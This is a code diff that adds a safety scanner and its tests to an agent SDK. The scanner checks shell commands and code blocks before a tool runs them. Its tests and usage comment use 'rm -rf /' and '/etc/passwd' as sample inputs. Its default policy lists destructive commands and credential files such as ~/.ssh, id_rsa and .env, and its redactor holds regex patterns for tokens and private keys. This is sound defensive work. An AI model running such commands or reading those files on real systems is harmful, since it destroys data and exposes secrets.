b/tests/tools/safety/test_types.py new file mode 100644 index 00000000..c8ffbb1a --- /dev/null +++ b/tests/tools/safety/test_types.py @@ -0,0 +1,256 @@ +# Tencent is pleased to support the open source community by making +# tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Unit tests for safety scanner type definitions. + +Mirrors trpc-agent-go/tool/safety/safety.go types. +""" + +from __future__ import annotations + +import dataclasses +import json +import pytest + + +class TestDecision: + + def test_decision_constants(self): + from trpc_agent_sdk.tools.safety._types import ( + Decision, + DECISION_ALLOW, + DECISION_DENY, + DECISION_ASK, + DECISION_NEEDS_HUMAN_REVIEW, + ) + assert Decision(DECISION_ALLOW) == Decision("allow") + assert Decision(DECISION_DENY) == Decision("deny") + assert Decision(DECISION_ASK) == Decision("ask") + assert Decision(DECISION_NEEDS_HUMAN_REVIEW) == Decision("needs_human_review") + + def test_decision_rank_order(self): + from trpc_agent_sdk.tools.safety._types import ( + DECISION_ALLOW, + DECISION_ASK, + DECISION_NEEDS_HUMAN_REVIEW, + DECISION_DENY, + decision_rank, + ) + assert decision_rank(DECISION_DENY) > decision_rank(DECISION_NEEDS_HUMAN_REVIEW) + assert decision_rank(DECISION_NEEDS_HUMAN_REVIEW) > decision_rank(DECISION_ASK) + assert decision_rank(DECISION_ASK) > decision_rank(DECISION_ALLOW) + + def test_decision_str_value(self): + from trpc_agent_sdk.tools.safety._types import DECISION_ALLOW + assert DECISION_ALLOW.value == "allow" + + +class TestRiskLevel: + + def test_risk_level_constants(self): + from trpc_agent_sdk.tools.safety._types import ( + RISK_LOW, + RISK_MEDIUM, + RISK_HIGH, + RISK_CRITICAL, + ) + assert RISK_LOW.value == "low" + assert RISK_MEDIUM.value == "medium" + assert RISK_HIGH.value == "high" + assert RISK_CRITICAL.value == "critical" + + def test_risk_rank_order(self): + from trpc_agent_sdk.tools.safety._types import ( + RISK_LOW, + RISK_MEDIUM, + RISK_HIGH, + RISK_CRITICAL, + risk_rank, + ) + assert risk_rank(RISK_CRITICAL) > risk_rank(RISK_HIGH) + assert risk_rank(RISK_HIGH) > risk_rank(RISK_MEDIUM) + assert risk_rank(RISK_MEDIUM) > risk_rank(RISK_LOW) + + +class TestFinding: + + def test_finding_fields(self): + from trpc_agent_sdk.tools.safety._types import Finding, DECISION_DENY, RISK_CRITICAL + f = Finding( + decision=DECISION_DENY, + risk_level=RISK_CRITICAL, + rule_id="test.rule", + evidence=["/etc/passwd"], + recommendation="Do not access system files.", + ) + assert f.decision == DECISION_DENY + assert f.rule_id == "test.rule" + assert f.evidence == ["/etc/passwd"] + + def test_finding_beats_by_decision(self): + from trpc_agent_sdk.tools.safety._types import ( + Finding, + finding_beats, + DECISION_DENY, + DECISION_ALLOW, + RISK_LOW, + RISK_CRITICAL, + ) + bad = Finding(DECISION_DENY, RISK_LOW, "r1", ["ev"], "rec") + good = Finding(DECISION_ALLOW, RISK_CRITICAL, "r2", ["ev"], "rec") + assert finding_beats(bad, good), "deny should beat allow regardless of risk" + + def test_finding_beats_by_risk_when_same_decision(self): + from trpc_agent_sdk.tools.safety._types import ( + Finding, + finding_beats, + DECISION_DENY, + RISK_LOW, + RISK_CRITICAL, + ) + critical = Finding(DECISION_DENY, RISK_CRITICAL, "r1", ["ev"], "rec") + low = Finding(DECISION_DENY, RISK_LOW, "r2", ["ev"], "rec") + assert finding_beats(critical, low), "critical should beat low for same decision" + + +class TestReport: + + def test_report_serialization(self): + from trpc_agent_sdk.tools.safety._types import ( + Report, + Finding, + DECISION_ALLOW, + RISK_LOW, + ) + r = Report( + decision=DECISION_ALLOW, + risk_level=RISK_LOW, + recommendation="Safe.", + tool_name="test_tool", + command="echo hi", + backend="workspaceexec", + blocked=False, + duration_ms=5, + redacted=False, + findings=[], + ) + data = dataclasses.asdict(r) + assert data["decision"] == "allow" + assert data["blocked"] == False + + def test_report_blocked_if_deny(self): + from trpc_agent_sdk.tools.safety._types import ( + Report, + DECISION_DENY, + RISK_HIGH, + ) + r = Report( + decision=DECISION_DENY, + risk_level=RISK_HIGH, + recommendation="Blocked.", + tool_name="test", + command="rm -rf /", + backend="workspaceexec", + blocked=True, + duration_ms=1, + redacted=False, + ) + assert r.blocked is True + + def test_span_attributes(self): + from trpc_agent_sdk.tools.safety._types import ( + Report, + DECISION_DENY, + RISK_CRITICAL, + ) + r = Report( + decision=DECISION_DENY, + risk_level=RISK_CRITICAL, + rule_id="dangerous.rm_rf", + recommendation="Denied.", + tool_name="ws", + command="rm -rf /", + backend="workspaceexec", + blocked=True, + duration_ms=2, + redacted=False, + ) + attrs = r.span_attributes() + assert attrs["tool.safety.decision"] == "deny" + assert attrs["tool.safety.risk_level"] == "critical" + assert attrs["tool.safety.rule_id"] == "dangerous.rm_rf" + + +class TestAuditEvent: + + def test_audit_event_jsonl(self): + from trpc_agent_sdk.tools.safety._types import ( + AuditEvent, + DECISION_DENY, + RISK_HIGH, + ) + import time + evt = AuditEvent( + timestamp=time.time(), + tool_name="test", + decision=DECISION_DENY, + risk_level=RISK_HIGH, + rule_id="r1", + duration_ms=5, + redacted=False, + blocked=True, + backend="workspaceexec", + ) + line = json.dumps(dataclasses.asdict(evt), default=str) + data = json.loads(line) + assert data["decision"] == "deny" + assert data["blocked"] == True + + +class TestPolicy: + + def test_policy_defaults(self): + from trpc_agent_sdk.tools.safety._types import Policy + p = Policy() + assert p.max_timeout_seconds == 0 # default before DefaultPolicy() + assert p.max_output_bytes == 0 + + def test_policy_fields(self): + from trpc_agent_sdk.tools.safety._types import Policy + p = Policy( + denied_commands=["rm", "sudo"], + denied_paths=["/etc", ".ssh"], + network_allowlist=["api.github.com"], + max_timeout_seconds=300, + ) + assert "rm" in p.denied_commands + assert "/etc" in p.denied_paths + assert "api.github.com" in p.network_allowlist + + +class TestRequest: + + def test_request_fields(self): + from trpc_agent_sdk.tools.safety._types import Request + r = Request( + tool_name="workspace_exec", + command="go test ./...", + cwd=".", + backend="workspaceexec", + timeout_seconds=30, + ) + assert r.tool_name == "workspace_exec" + assert r.command == "go test ./..." + + def test_request_with_code_blocks(self): + from trpc_agent_sdk.tools.safety._types import Request, CodeBlock + r = Request( + tool_name="execute_code", + backend="codeexec", + code_blocks=[CodeBlock(language="python", code="print(1)")], + ) + assert len(r.code_blocks) == 1 + assert r.code_blocks[0].language == "python" diff --git a/trpc_agent_sdk/tools/safety/__init__.py b/trpc_agent_sdk/tools/safety/__init__.py new file mode 100644 index 00000000..a056f413 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/__init__.py @@ -0,0 +1,68 @@ +# Package safety provides a pre-execution safety guard for command and +# code-execution tools. +# +# Usage:: +# +# from trpc_agent_sdk.tools.safety import scan, default_policy, ToolSafetyFilter +# +# policy = default_policy() +# report = scan(Request(command="rm -rf /"), policy) +# assert report.decision == DECISION_DENY +# +# Mirrors trpc-agent-go/tool/safety/. + +from ._types import ( + Decision, + RiskLevel, + Finding, + Report, + AuditEvent, + Policy, + Request, + CodeBlock, + DECISION_ALLOW, + DECISION_DENY, + DECISION_ASK, + DECISION_NEEDS_HUMAN_REVIEW, + RISK_LOW, + RISK_MEDIUM, + RISK_HIGH, + RISK_CRITICAL, + decision_rank, + risk_rank, + finding_beats, +) +from ._policy import default_policy, load_policy +from ._scanner import scan +from ._permission import ToolSafetyFilter, SAFETY_FILTER_NAME + +__all__ = [ + # Types. + "Decision", + "RiskLevel", + "Finding", + "Report", + "AuditEvent", + "Policy", + "Request", + "CodeBlock", + # Constants. + "DECISION_ALLOW", + "DECISION_DENY", + "DECISION_ASK", + "DECISION_NEEDS_HUMAN_REVIEW", + "RISK_LOW", + "RISK_MEDIUM", + "RISK_HIGH", + "RISK_CRITICAL", + # Core API. + "scan", + "default_policy", + "load_policy", + "decision_rank", + "risk_rank", + "finding_beats", + # Filter integration. + "ToolSafetyFilter", + "SAFETY_FILTER_NAME", +] diff --git a/trpc_agent_sdk/tools/safety/_permission.py b/trpc_agent_sdk/tools/safety/_permission.py new file mode 100644 index 00000000..980b312c --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_permission.py @@ -0,0 +1,141 @@ +# Tencent is pleased to support the open source community by making +# tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Permission policy integration for the tool safety scanner. + +Wraps the scanner as a tool-level Filter so that every tool +invocation is checked before execution. +""" + +from __future__ import annotations + +import json +import logging +from typing import Any + +from trpc_agent_sdk.abc import FilterABC, FilterResult, FilterType +from trpc_agent_sdk.context import AgentContext + +from ._types import Request, CodeBlock, DECISION_DENY, DECISION_ALLOW +from ._scanner import scan +from ._policy import default_policy, Policy + +logger = logging.getLogger(__name__) + +SAFETY_FILTER_NAME = "tool_safety_guard" + + +class ToolSafetyFilter(FilterABC): + """Pre-execution safety filter for tool calls. + + Scans commands and code blocks before they are executed by + workspace_exec, exec_command, or execute_code tools. + """ + + def __init__(self, policy: Policy | None = None) -> None: + self._policy = policy or default_policy() + self._name = SAFETY_FILTER_NAME + self._type = FilterType.TOOL + + @property + def name(self) -> str: + return self._name + + @property + def type(self) -> FilterType: + return self._type + + async def _before( + self, + ctx: AgentContext, + req: Any, + rsp: FilterResult, + ) -> None: + """Scan tool arguments before execution.""" + if req is None: + return + + scan_req = _to_scan_request(req) + if scan_req is None: + return # Not a scannable tool. + + report = scan(scan_req, self._policy) + + if report.decision == DECISION_DENY: + rsp.error = PermissionError(f"Tool safety guard blocked: {report.recommendation}") + rsp.is_continue = False + logger.warning( + "safety_guard blocked tool=%s decision=%s rule=%s", + scan_req.tool_name, + report.decision.value, + report.rule_id, + ) + elif report.decision != DECISION_ALLOW: + logger.info( + "safety_guard %s tool=%s rule=%s", + report.decision.value, + scan_req.tool_name, + report.rule_id, + ) + + async def _after( + self, + ctx: AgentContext, + req: Any, + rsp: FilterResult, + ) -> None: + pass # No post-execution check needed. + + +def _to_scan_request(tool_req: Any) -> Request | None: + """Convert a tool invocation to a safety scan Request.""" + if not hasattr(tool_req, "tool_name"): + return None + + tool_name = getattr(tool_req, "tool_name", "") + if tool_name not in ("workspace_exec", "exec_command", "execute_code"): + return None + + args_raw = getattr(tool_req, "arguments", None) + if args_raw is None: + return Request(tool_name=tool_name) + + if isinstance(args_raw, bytes): + args_raw = args_raw.decode("utf-8", errors="replace") + if isinstance(args_raw, str): + try: + args_raw = json.loads(args_raw) + except json.JSONDecodeError: + pass + if not isinstance(args_raw, dict): + return Request(tool_name=tool_name) + + command = str( + args_raw.get("command", "") or args_raw.get("cmd", "") or args_raw.get("script", "") + or args_raw.get("code", "") or "") + code_blocks_raw = args_raw.get("code_blocks") + code_blocks: list[CodeBlock] = [] + if code_blocks_raw: + if isinstance(code_blocks_raw, list): + for cb in code_blocks_raw: + if isinstance(cb, dict): + code_blocks.append(CodeBlock( + language=str(cb.get("language", "")), + code=str(cb.get("code", "")), + )) + + return Request( + tool_name=tool_name, + command=command, + cwd=str(args_raw.get("cwd", "") or args_raw.get("workdir", "")), + env=args_raw.get("env") if isinstance(args_raw.get("env"), dict) else {}, + backend="hostexec" + if tool_name == "exec_command" else "codeexec" if tool_name == "execute_code" else "workspaceexec", + timeout_seconds=int(args_raw.get("timeout_sec", 0) or args_raw.get("timeout", 0) or 0), + background=bool(args_raw.get("background", False)), + tty=bool(args_raw.get("tty", False) or args_raw.get("pty", False)), + code_blocks=code_blocks, + ) diff --git a/trpc_agent_sdk/tools/safety/_policy.py b/trpc_agent_sdk/tools/safety/_policy.py new file mode 100644 index 00000000..33a1efde --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_policy.py @@ -0,0 +1,127 @@ +# Tencent is pleased to support the open source community by making +# tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Safety policy definitions. Mirrors trpc-agent-go/tool/safety/safety.go.""" + +from __future__ import annotations + +import json +from pathlib import Path + +import yaml + +from ._types import Policy + + +def default_policy() -> Policy: + """Return a conservative default safety policy.""" + return Policy( + denied_commands=[ + "dd", + "mkfs", + "mount", + "umount", + "shutdown", + "reboot", + "halt", + "poweroff", + "sudo", + "su", + "doas", + ], + denied_paths=[ + "/", + "/bin", + "/boot", + "/dev", + "/etc", + "/lib", + "/lib64", + "/proc", + "/root", + "/sbin", + "/sys", + "/usr", + "/var", + "~/.ssh", + ".ssh", + ".env", + ".npmrc", + ".pypirc", + "id_rsa", + "id_ed25519", + "credentials", + "credential", + "secrets", + "secret", + ], + network_allowlist=[ + "api.github.com", + "github.com", + "proxy.golang.org", + "sum.golang.org", + "registry.npmjs.org", + "pypi.org", + "files.pythonhosted.org", + ], + env_allowlist=[ + "PATH", + "HOME", + "TMPDIR", + "TEMP", + "TMP", + "LANG", + "LC_ALL", + "CGO_ENABLED", + "GOCACHE", + "GOMODCACHE", + "GOPATH", + ], + review_commands=[ + "go install", + "npm install", + "npm ci", + "pip install", + "pip3 install", + "apt install", + "apt-get install", + "brew install", + "cargo install", + ], + max_timeout_seconds=300, + max_output_bytes=4 * 1024 * 1024, + review_shell_pipelines=True, + deny_on_parse_error=True, + ) + + +def load_policy(path: str | Path) -> Policy: + """Load a JSON or YAML policy file, merging with defaults. + + Args: + path: Path to .json or .yaml/.yml policy file. + + Returns: + A Policy with file values overlaid on defaults. + """ + path = Path(path) + raw_bytes = path.read_bytes() + + if path.suffix.lower() in (".yaml", ".yml", ""): + raw = yaml.safe_load(raw_bytes) or {} + elif path.suffix.lower() == ".json": + raw = json.loads(raw_bytes) + else: + raise ValueError(f"Unsupported policy extension: {path.suffix}") + + # Start from safe defaults. + policy = default_policy() + + for key, value in raw.items(): + if hasattr(policy, key): + setattr(policy, key, value) + + return policy diff --git a/trpc_agent_sdk/tools/safety/_redactor.py b/trpc_agent_sdk/tools/safety/_redactor.py new file mode 100644 index 00000000..ffe5458e --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_redactor.py @@ -0,0 +1,50 @@ +# Tencent is pleased to support the open source community by making +# tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Secret redaction for safety scan reports. + +Scans text for API keys, tokens, passwords, and private key material, +replacing them with ``[REDACTED_SECRET]``. +""" + +from __future__ import annotations + +import re + +# Patterns that alone are strong enough to flag a secret. +_SECRET_VALUE_RE = re.compile(r"(?i)(sk-[A-Za-z0-9_-]{12,}|" + r"ghp_[A-Za-z0-9_]{12,}|" + r"xox[baprs]-[A-Za-z0-9-]{10,}|" + r"-----BEGIN [A-Z ]*PRIVATE KEY-----)") + +# Name=value patterns that look like credentials. +_SECRET_NAME_RE = re.compile(r"(?i)(api[_-]?key|token|password|passwd|secret|private[_-]?key|credential)") +_SECRET_NV_RE = re.compile(r"(?i)(api[_-]?key|token|password|passwd|secret|private[_-]?key|credential)" + r"=([^ \t\n\r;&|]+)") + +_REDACTED = "[REDACTED_SECRET]" + + +class Redactor: + """Detects and redacts secrets from scan report fields.""" + + def __init__(self) -> None: + self.changed = False + + def redact(self, text: str) -> str: + """Replace secrets in *text*; return redacted copy.""" + orig = text + text = _SECRET_VALUE_RE.sub(_REDACTED, text) + text = _SECRET_NV_RE.sub(r"\1=" + _REDACTED, text) + if text != orig: + self.changed = True + return text + + def looks_sensitive(self, text: str) -> bool: + """Return True if *text* appears to contain a secret.""" + if _SECRET_VALUE_RE.search(text): + return True + return bool(_SECRET_NAME_RE.search(text) and "=" in text) diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py new file mode 100644 index 00000000..1a884411 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -0,0 +1,543 @@ +# Tencent is pleased to support the open source community by making +# tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Core safety scanning engine. Mirrors trpc-agent-go/tool/safety/safety.go.""" + +from __future__ import annotations + +import time +from typing import TYPE_CHECKING + +from ._types import ( + Decision, + RiskLevel, + Finding, + Report, + Request, + Policy, + finding_beats, + DECISION_ALLOW, + DECISION_DENY, + DECISION_ASK, + DECISION_NEEDS_HUMAN_REVIEW, + RISK_LOW, + RISK_MEDIUM, + RISK_HIGH, + RISK_CRITICAL, +) +from ._policy import default_policy +from ._redactor import Redactor +from ._shell_parse import ( + command_name, + has_pipeline, + extract_urls, + extract_host, + has_shell_bypass, +) + +if TYPE_CHECKING: + from ._types import CodeBlock + + +def scan(request: Request, policy: Policy | None = None) -> Report: + """Evaluate a pending tool execution against the safety policy. + + Args: + request: The tool execution request to check. + policy: Safety policy. If None, default_policy() is used. + + Returns: + A Report with decision, findings, audit info, and redacted fields. + """ + if policy is None: + policy = default_policy() + + start = time.time() + redactor = Redactor() + + cmd = _request_command(request) + findings: list[Finding] = [] + + # 1. Scan envelope. + findings.extend(_scan_envelope(request, policy)) + + # 2. Scan env vars. + findings.extend(_scan_env(request, policy)) + + # 3. Scan shell command or code blocks. + if request.code_blocks: + for block in request.code_blocks: + findings.extend(_scan_code_block(request, block, policy)) + elif cmd.strip(): + findings.extend(_scan_shell(request, cmd, policy)) + else: + findings.append( + _new_finding( + DECISION_DENY, + RISK_HIGH, + "command.empty", + ["command is empty"], + "Provide an explicit command before invoking the tool.", + )) + + # Build report from worst finding. + report = _report_from_findings(request, cmd, findings, redactor) + + # Redact secrets throughout. + report.command = redactor.redact(report.command) + report.evidence = [_redact_list(redactor, report.evidence)] + report.recommendation = redactor.redact(report.recommendation) + report.safe_summary = redactor.redact(report.safe_summary) + for f in report.findings: + f.evidence = _redact_list(redactor, f.evidence) + f.recommendation = redactor.redact(f.recommendation) + report.redacted = redactor.changed + + report.duration_ms = int((time.time() - start) * 1000) + return report + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _request_command(req: Request) -> str: + parts = [req.command.strip()] if req.command.strip() else [] + parts.extend(req.args) + return " ".join(parts) + + +def _new_finding( + decision: Decision, + risk: RiskLevel, + rule_id: str, + evidence: list[str], + recommendation: str, +) -> Finding: + return Finding(decision, risk, rule_id, evidence, recommendation) + + +def _redact_list(r: Redactor, items: list[str]) -> list[str]: + return [r.redact(s) for s in items] if items else [] + + +def _finding_beats(a: Finding, b: Finding) -> bool: + return finding_beats(a, b) + + +# --------------------------------------------------------------------------- +# Envelope scan +# --------------------------------------------------------------------------- + + +def _scan_envelope(req: Request, policy: Policy) -> list[Finding]: + findings: list[Finding] = [] + if _path_denied(req.cwd, policy): + findings.append( + _new_finding( + DECISION_DENY, + RISK_CRITICAL, + "sensitive.cwd_access", + [f"working directory {req.cwd!r} is denied"], + "Choose a workspace-relative working directory.", + )) + if req.backend == "hostexec" and (req.background or req.tty): + findings.append( + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_HIGH, + "hostexec.long_session", + ["hostexec requested background or PTY execution"], + "Require human approval for host PTY/background sessions.", + )) + if req.background: + findings.append( + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_MEDIUM, + "process.background", + ["command may leave a background process behind"], + "Run foreground commands with a bounded timeout.", + )) + if req.timeout_seconds > policy.max_timeout_seconds: + findings.append( + _new_finding( + DECISION_DENY, + RISK_HIGH, + "resource.timeout_exceeded", + [f"timeout {req.timeout_seconds}s exceeds policy max {policy.max_timeout_seconds}s"], + "Use a shorter timeout.", + )) + if policy.max_output_bytes and req.max_output_bytes > policy.max_output_bytes: + findings.append( + _new_finding( + DECISION_DENY, + RISK_HIGH, + "resource.output_limit_exceeded", + [f"output cap {req.max_output_bytes} exceeds policy max {policy.max_output_bytes}"], + "Lower the output cap.", + )) + return findings + + +# --------------------------------------------------------------------------- +# Env scan +# --------------------------------------------------------------------------- + + +def _scan_env(req: Request, policy: Policy) -> list[Finding]: + findings: list[Finding] = [] + for k, v in req.env.items(): + if policy.env_allowlist and k.upper() not in {e.upper() for e in policy.env_allowlist}: + findings.append( + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_MEDIUM, + "environment.non_whitelisted_variable", + [f"environment variable {k!r} is not allowlisted"], + "Only pass allowlisted env vars.", + )) + # Check for secrets in env values. + if _looks_sensitive(k + "=" + v): + findings.append( + _new_finding( + DECISION_DENY, + RISK_CRITICAL, + "sensitive.secret_leak", + ["environment contains a likely secret"], + "Remove API keys/tokens from environment variables.", + )) + return findings + + +# --------------------------------------------------------------------------- +# Shell scan +# --------------------------------------------------------------------------- + + +def _scan_shell(req: Request, command: str, policy: Policy) -> list[Finding]: + findings: list[Finding] = [] + + # Raw text scan (before parsing). + findings.extend(_scan_raw_command(command, policy)) + + # Per-command scan. + argv = command.strip().split() + if argv: + name = command_name(argv[0]) + if policy.denied_commands and name in {command_name(d) for d in policy.denied_commands}: + findings.append( + _new_finding( + DECISION_DENY, + RISK_HIGH, + "policy.denied_command", + [f"command {name!r} is denied"], + "Remove the denied command or update the policy.", + )) + + findings.extend(_scan_dangerous_command(name, argv)) + findings.extend(_scan_review_command(command, policy)) + findings.extend(_scan_denied_paths(argv, policy)) + + return findings + + +def _scan_raw_command(command: str, policy: Policy) -> list[Finding]: + findings: list[Finding] = [] + lower = command.lower() + + # Secret detection. + if _looks_sensitive(command): + findings.append( + _new_finding( + DECISION_DENY, + RISK_CRITICAL, + "sensitive.secret_leak", + ["command contains a likely secret"], + "Remove API keys, tokens, and credentials from commands.", + )) + + # Shell bypass. + if has_shell_bypass(lower): + findings.append( + _new_finding( + DECISION_DENY, + RISK_HIGH, + "shell.bypass", + ["command contains shell bypass syntax or wrapper"], + "Avoid sh -c, bash -c, eval, backticks, $(), and redirections.", + )) + + # Pipeline review. + if policy.review_shell_pipelines and has_pipeline(command): + findings.append( + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_MEDIUM, + "shell.pipeline_review", + ["command contains a shell pipeline"], + "Review multi-stage shell commands manually.", + )) + + # Background detection. + if " &" in lower or lower.endswith("&"): + findings.append( + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_MEDIUM, + "process.background", + ["command may leave a background process"], + "Run foreground commands with bounded timeout.", + )) + + # Network scan. + findings.extend(_scan_network(command, policy)) + + # Resource scan. + findings.extend(_scan_resource_patterns(lower, policy)) + + return findings + + +def _scan_dangerous_command(name: str, argv: list[str]) -> list[Finding]: + if name == "rm" and _destructive_rm(argv): + return [ + _new_finding( + DECISION_DENY, + RISK_CRITICAL, + "dangerous.rm_rf", + [" ".join(argv)], + "Do not run recursive forced deletion through tool execution.", + ) + ] + if name == "chmod" and "-R" in argv: + return [ + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_HIGH, + "dangerous.recursive_chmod", + [" ".join(argv)], + "Review recursive permission changes before executing.", + ) + ] + return [] + + +def _destructive_rm(argv: list[str]) -> bool: + recursive = any("-r" in a.lower() or "-rf" in a.lower() or "--recursive" in a.lower() for a in argv[1:] + if a.startswith("-")) + return recursive + + +def _scan_review_command(command: str, policy: Policy) -> list[Finding]: + lower = command.strip().lower() + for review in policy.review_commands: + if lower.startswith(review.lower().strip()): + return [ + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_MEDIUM, + "dependency.environment_change", + [f"command starts with {review!r}"], + "Dependency installation should be reviewed and pinned.", + ) + ] + return [] + + +def _scan_denied_paths(argv: list[str], policy: Policy) -> list[Finding]: + findings: list[Finding] = [] + for arg in argv[1:]: + clean = arg.strip("\"'") + if _path_denied(clean, policy): + findings.append( + _new_finding( + DECISION_DENY, + RISK_CRITICAL, + "sensitive.path_access", + [f"argument references denied path {clean!r}"], + "Do not access SSH keys, .env files, or system directories.", + )) + return findings + + +def _path_denied(path: str, policy: Policy) -> bool: + if not path: + return False + normalized = _normalize_path(path) + for denied in policy.denied_paths: + d = _normalize_path(denied) + if not d: + continue + if normalized == d or normalized.startswith(d + "/") or ("/" + d + "/") in ("/" + normalized + "/"): + return True + return False + + +def _normalize_path(p: str) -> str: + p = p.strip().strip("\"'") + p = p.replace("\\", "/") + p = p.removeprefix("~/").removeprefix("./") + return p.lower().rstrip("/") + + +# --------------------------------------------------------------------------- +# Network scan +# --------------------------------------------------------------------------- + + +def _scan_network(command: str, policy: Policy) -> list[Finding]: + findings: list[Finding] = [] + urls = extract_urls(command) + for raw in urls: + host = extract_host(raw) + if host and not _host_allowed(host, policy): + findings.append( + _new_finding( + DECISION_DENY, + RISK_HIGH, + "network.non_whitelisted_domain", + [f"domain {host!r} is not in network_allowlist"], + "Use a whitelisted domain or update network_allowlist.", + )) + return findings + + +def _host_allowed(host: str, policy: Policy) -> bool: + host = host.lower() + for allowed in policy.network_allowlist: + a = allowed.strip().lower() + if host == a or host.endswith("." + a): + return True + return False + + +# --------------------------------------------------------------------------- +# Resource scan +# --------------------------------------------------------------------------- + + +def _scan_resource_patterns(lower: str, policy: Policy) -> list[Finding]: + findings: list[Finding] = [] + if _long_sleep(lower): + findings.append( + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_MEDIUM, + "resource.long_sleep", + ["command contains a long sleep"], + "Use a shorter sleep or bounded wait condition.", + )) + if _infinite_loop(lower): + findings.append( + _new_finding( + DECISION_DENY, + RISK_HIGH, + "resource.infinite_loop", + ["command appears to contain an infinite loop"], + "Replace unbounded loop with bounded command and timeout.", + )) + return findings + + +def _long_sleep(lower: str) -> bool: + import re + m = re.search(r"\bsleep\s+(\d+)", lower) + if m: + return int(m.group(1)) > 300 + return False + + +def _infinite_loop(lower: str) -> bool: + patterns = ["while true", "while(1)", "for ;;", "for(;;)", "while 1"] + return any(p in lower for p in patterns) + + +# --------------------------------------------------------------------------- +# Code block scan +# --------------------------------------------------------------------------- + + +def _scan_code_block(req: Request, block: CodeBlock, policy: Policy) -> list[Finding]: + findings: list[Finding] = [] + lang = block.language.strip().lower() + code = block.code.strip() + if _looks_sensitive(code): + findings.append( + _new_finding( + DECISION_DENY, + RISK_CRITICAL, + "sensitive.secret_leak", + ["code block contains a likely secret"], + "Remove secrets from code blocks.", + )) + if lang in ("bash", "sh", "shell", ""): + # Treat as shell command. + findings.extend(_scan_shell(req, code, policy)) + else: + lower = code.lower() + if any(kw in lower for kw in ("os.system", "subprocess.", "exec(")): + findings.append( + _new_finding( + DECISION_NEEDS_HUMAN_REVIEW, + RISK_MEDIUM, + "codeexec.host_command_bridge", + [f"{lang} code can launch shell commands"], + "Review code that bridges code execution into shell execution.", + )) + findings.extend(_scan_network(code, policy)) + return findings + + +# --------------------------------------------------------------------------- +# Report assembly +# --------------------------------------------------------------------------- + + +def _report_from_findings( + req: Request, + command: str, + findings: list[Finding], + redactor: Redactor, +) -> Report: + best = Finding(DECISION_ALLOW, RISK_LOW, "", [], "Command matched no high-risk safety rules.") + for f in findings: + if finding_beats(f, best): + best = f + + decision = best.decision + blocked = decision in (DECISION_DENY, DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW) + + safe_summary = "" + if decision == DECISION_ALLOW: + if req.code_blocks: + safe_summary = (f"{req.backend} scan allowed {len(req.code_blocks)} code block(s); " + f"no high-risk patterns matched.") + else: + safe_summary = (f"{req.backend} scan allowed command {command!r}; " + f"no high-risk patterns matched.") + + return Report( + decision=decision, + risk_level=best.risk_level, + rule_id=best.rule_id, + evidence=best.evidence, + recommendation=best.recommendation, + tool_name=req.tool_name, + command=redactor.redact(command), + backend=req.backend, + blocked=blocked, + safe_summary=safe_summary, + findings=findings, + ) + + +def _looks_sensitive(text: str) -> bool: + from ._redactor import _SECRET_VALUE_RE, _SECRET_NAME_RE + if _SECRET_VALUE_RE.search(text): + return True + return bool(_SECRET_NAME_RE.search(text) and "=" in text) diff --git a/trpc_agent_sdk/tools/safety/_shell_parse.py b/trpc_agent_sdk/tools/safety/_shell_parse.py new file mode 100644 index 00000000..c91c6b3b --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_shell_parse.py @@ -0,0 +1,86 @@ +# Tencent is pleased to support the open source community by making +# tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Lightweight shell command parser for safety scanning. + +Does NOT invoke a subshell. Pure-Python heuristics sufficient for +static pre-execution safety analysis. +""" + +from __future__ import annotations + +import re +from urllib.parse import urlparse + + +def command_name(full_command: str) -> str: + """Extract the base command name. + + ``/usr/bin/rm -rf /`` → ``rm`` + """ + cmd = full_command.strip().split(None, 1)[0] if full_command.strip() else "" + if "/" in cmd: + cmd = cmd.rsplit("/", 1)[-1] + if "\\" in cmd: + cmd = cmd.rsplit("\\", 1)[-1] + # Strip Windows extensions. + for ext in (".exe", ".cmd", ".bat", ".com"): + if cmd.lower().endswith(ext): + cmd = cmd[:-len(ext)] + return cmd.lower() + + +def has_pipeline(command: str) -> bool: + """Return True if *command* contains a pipeline or command chain. + + Respects quoting so that ``echo "a|b"`` is not flagged. + """ + in_single = False + in_double = False + for i, ch in enumerate(command): + if ch == "'" and not in_double: + in_single = not in_single + elif ch == '"' and not in_single: + in_double = not in_double + elif ch in ("|", ";") and not in_single and not in_double: + return True + elif (ch == "&" and not in_single and not in_double and i + 1 < len(command) and command[i + 1] == "&"): + return True + return False + + +def extract_urls(command: str) -> list[str]: + """Return HTTP(S) URLs found in *command*.""" + return re.findall(r"https?://[A-Za-z0-9._~:/?#\[\]@!$&'()*+,;=%-]+", command) + + +def extract_host(url: str) -> str: + """Return the lower-cased hostname from *url*.""" + try: + return urlparse(url).hostname or "" + except Exception: + return "" + + +def has_shell_bypass(command: str) -> bool: + """Detect shell wrapper / subshell bypass 